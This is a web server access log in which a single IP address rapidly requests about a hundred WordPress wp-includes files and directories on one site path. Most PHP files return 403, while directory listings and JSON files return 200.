45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/formatting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/post-formats.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/rest-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/update.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/wp-diff.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/html-api/ HTTP/1.1" 200 1632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/Requests/ HTTP/1.1" 200 806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-IXR.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/template-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/abilities-api/ HTTP/1.1" 200 908 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/customize/ HTTP/1.1" 200 2247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/js/ HTTP/1.1" 200 4186 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/block-bindings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/blocks/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/meta.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/css/ HTTP/1.1" 200 2406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/SimplePie/ HTTP/1.1" 200 873 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/post-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/registration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/theme.json HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/?ND= HTTP/1.1" 200 9288 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/Text/ HTTP/1.1" 200 870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/ms-load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/version.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/media-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/ID3/ HTTP/1.1" 200 1643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:58 -0400] "GET /bestjudy.com.tw/wp-includes/style-engine.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/bookmark.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/session.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/?SA= HTTP/1.1" 200 9279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 200 446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/certificates/ HTTP/1.1" 200 793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/ms-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/l10n/ HTTP/1.1" 200 1313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/block-bindings/ HTTP/1.1" 200 949 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/widgets/ HTTP/1.1" 200 1748 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/category-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/link-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/pluggable.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/capabilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/feed-atom.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/https-detection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/canonical.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/ms-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
